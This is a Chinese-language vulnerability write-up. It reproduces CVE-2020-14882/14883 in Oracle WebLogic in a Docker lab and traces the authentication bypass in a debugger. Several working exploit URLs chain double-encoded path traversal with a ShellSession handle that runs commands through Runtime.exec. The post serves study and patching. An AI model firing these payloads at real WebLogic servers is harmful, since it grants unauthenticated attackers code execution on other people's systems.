CVE-2020-14882&14883：Weblogic RCE复现

原创ebounce Timeline Sec
2020-11-27原文

收录于话题
#漏洞复现文章合集
70个

上方蓝色字体关注我们，一起学安全！

作者：ebounce@Timeline Sec

本文字数：3235

阅读时长：9～10min

声明：请勿用作违法用途，否则后果自负

0x01 简介

Weblogic是美国Oracle公司出品的一个Application Server，确切的说是一个基于JavaEE架构的中间件，Weblogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

0x02 漏洞概述

编　　号　　：　　CVE-2020-14882&14883

未经身份验证的远程攻击者可能通过构造特殊的GET请求，利用该漏洞在受影响的 Weblogic Server上执行任意代码。

0x03 影响版本

weblogic 10.3.6.0.0

weblogic 12.1.3.0.0

weblogic 12.2.1.3.0

weblogic 12.2.1.4.0

weblogic 14.1.1.0.0

0x04 环境搭建

省去安装Weblogic在本地的麻烦,我们使用docker环境进行复现,由于前几天P师傅已经更新了vulhub环境，已经可以直接复现了，但由于我复现的时候vulhub还没有更新，使用的是vulnhub/weblogic,该镜像现在也更新了,12.2.1.3-2018 tag的镜像同样可以复现成功。

这里我使用老镜像，因为体积要小很多。

PS：本地物理机搭建的环境同理

```
sudo docker pull vulhub/weblogic:12.2.1.3-2018

sudo docker run -d -p 7001:7001 -p 8055:8055
vulhub/weblogic:12.2.1.3-2018
```

启动脚本后，浏览器访问
http://<your_ip>:7001/console

正常显示控制台登录界面，即代表安装成功。

0x05 漏洞复现

根据网上流传较广的POC：

```
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27执行的命令%27);%22);
```

我们使用创建文件的命令测试POC:

```
http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/pocIsok%27);%22);
```

然后页面上会显示404：

然而实际上在docker内部我们执行命令已经成功了：

0x06 漏洞分析

由于weblogic的补丁非购买技术支持用户下载不到，所以没办法比较了，只能参考多篇文章来看这个漏洞了

调试环境搭建

首先远程调试需要先开启weblogic的远程调试，进入docker容器内部修改setDomainEnv.sh,由于该环境里面没有vi/vim我们复制出来，再复制进去：

添加如下两句，以防万一我把local_debug也一起改了：

然后复制回去，随后记得重启docker，由于复制出来是root权限，记得777一下，免得复制回去用不了这个了：

然后idea配置一个远程调试：

出现下列提示，说明可以开始愉快的调试了：

同时我们还需要将docker中的源码复制出来：

```
sudo docker cp 3eda3:/u01/oracle/ ./ # 复制weblogic全部源码

mkdir dep  &&  cp `find ./* -name "*.jar"` ./dep
#将jar包全部集中复制到一起
```

最后将dep文件夹右击添加为库，此时dep中的所有jar包都可以展开和打断点了。

RCE部分

调试该部分由于没有加绕过，所以请在登录到后台之后进行

payload：

```
http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String("yahaha")
```

记得对里面的特殊字符进行URL编码

根据越南兄弟的补丁对比，第一处修改有：

```
/dep/console.jar!/com/bea/console/handles/HandleFactory.class
```

如果没修改的情况，可以发现这里可以任意指定类，并获得其以字符串为参数的构造函数，然后进行初始化。

args被输入数据完全控制，但无论如何只会获得一个值：

由此我们可以推断出，通过url传入的参数handle我们可以获得具有string作为构造函数的类。

ShellSession利用

com.tangosol.coherence.mvel2.sh.ShellSession就是大佬们找到的类，我们先看看这个类：

```
/dep/coherence-
rest.jar!/com/tangosol/coherence/mvel2/sh/ShellSession.class
```

这里尝试使用payload：

http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime('ls');");

只看参数为String的构造函数：

真是简单又直接，这里会调用一次无参构造函数，然后再调用本类的exec方法：

_exec非常长，从源码看来就是解析命令并执行用的，这里就不调了

我们直接直接上payload看看：

http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test1%27);%22);

经过测试这里需要对一些字符进行URL编码，否则无法执行：

最后结果为：

说明执行成功了，虽然显示了报错信息，但不影响命令的执行。

其他的类可以按照此方法类推探索，这里就不多赘述了，但这个命令执行的利用条件是要进入weblogic后台，一个后台的RCE并不能让Oracle打出这么高的漏洞评分，因此该漏洞还存在未授权的利用。

未授权访问url部分

找到未授权的路由

我们注意到POC前面但组成部分其实还含有路径穿越问题，即这段/console/images/%252E%252E%252F，之所以会这样构造是因为存在二次URL编码绕过问题，但这种直接把写黑名单的方式，并不是很好的修复方式。

传送门：
https://twitter.com/chybeta/status/1322131143034957826/photo/2

这里对路径穿越几个关键字符及其URL编码加以限制，那几个URL解出来%.%.,..,<,>，基本属于不带..玩了，我们马上来看看，为什么要禁止这几个字符吧：

首先是weblogic的校验函数：

```
/dep/com.oracle.weblogic.servlet.jar!/weblogic/servlet/security/internal/WebAppSecurity.class.checkAccess
```

该函数会校验请求的路由是否经过校验，这个校验的标志由getConstraint函数提供，打上断点之后F7来到了

```
/dep/com.oracle.weblogic.servlet.jar!/weblogic/servlet/security/internal/WebAppSecurityWLS.class
```

测试命令：

```
curl http://127.0.0.1:7001/console/console.portal
```

我们可以看看这个函数具体是什么情况：

这里会返回一个类StandardURLMapping，从参数名来看一个是对所有方法响应的路由，一个是对某个方法响应的路由：

看看StandardURLMapping类：

从函数名来看，这里应该是直接忽略的URL列表

对比得到的matchMap，我们的console.protal是不在这个列表里面的：

后面我们会进入else分支，这里会校验是否有用户session，由于我们没登录自然得到了null,随后这个session又会被拿去鉴权，自然也是无法通过的。

curl命令返回结果重定向到登录界面:

我们可以去访问一下/css目录比较一下：

```
curl http://127.0.0.1:7001/console/css/
```

此处对应的校验id为/css/*，与console.protal唯一的不同便是unrestricted=true,curl命令的结果为404

这里404是因为没有设置默认的界面，但总之我们成功访问到了:

分析路由设置

weblogic和其他JavaWeb应用类似，它有web.xml，我们知道web.xml里面配置了servlet信息，去看看：

其中这两处信息最重要：

这里告诉我们*.protal后缀但内容会被AppManagerServlet处理，而之前我们看到的matchMap中的内容，则被定义成资源，没有配备对应的servlet

所以我猜测挖洞的大佬这时候就开始考虑，如果我在不鉴权的目录下，访问只有servlet能处理的文件会怎样,根据web.xml中的内容找到对应servlet--/dep/com.oracle.weblogic.servlet.jar!/weblogic/servlet/AsyncInitServlet.class

打上断点，利用

```
curl http://127.0.0.1:7001/console/css/console.portal
```

结果为：

这个路由最终交给了AppManagerServlet处理了

然后这里如果直接加上payload是不会触发handle的断点:

```
curl
"http://127.0.0.1:7001/console/css/console.portal?_nfpb=true&_pa
geLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSe
ssion(%22java.lang.Runtime.getRuntime().exec(%27touch
/tmp/testok%27);%22);"
```

但使用能执行的payload时，确实是由这个servlet处理的:

因此我们需要想办法在/css目录，就触发handle，从而实现未授权RCE。

触发handle

漏洞爆出之后我们知道了，其实触发handle的方法就是对../进行url双重编码。

PS:由于我自己使用的版本是没打补丁的，因此这里没有对应的校验，但直接使用../是没有办法触发漏洞:

这里会直接被重定向到登录界面，不过也侧面说明目录便利是存在的css/../被解析成了/，这里直接得到的就是console/console.portal

这说明其实weblogic是会解析路径中的穿越符，因此我们需要想办法让weblogic不先解析URL,而是等鉴权完成之后才进行解析，这就需要进行URL编码了。一次是不够的，因为weblogic得到的路由是这样的:

此时仍然被算作/路由:

因此我们尝试使用二次URL编码，这个时候鉴权得到的路由是这样的:

该路由鉴权的时候是算作css/*中:

自然是鉴权通过了，最后走进finally:

跟了一路没啥发现，看了看函数栈，发现一个地方传入了解码一次(浏览器帮着解了一次)的URL:

得到URL的函数可能有URL的解码，刚好在这个函数的下方看到了一个URL解码：

打个断点看看结果如果：

这是在第一次鉴权完成之后，鉴权完毕的URL会被送到这里再进行一次URL编码，然后被送去解析URL的地方，从而这里被解析成了console/console.protal，自然就可以获得后面的handle了：

到这里漏洞就分析完毕了。

0x07 修复方式

此次Oracle官方的CPU已发布了针对该漏洞的补丁，请受影响用户及时下载补丁程序并安装更新。

参考链接：
https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
https://github.com/jas502n/CVE-2020-14882
https://twitter.com/chybeta/status/1322131143034957826

阅读原文看更多复现文章

Timeline Sec 团队

安全路上，与你并肩前行

精选留言

用户设置不下载评论

阅读全文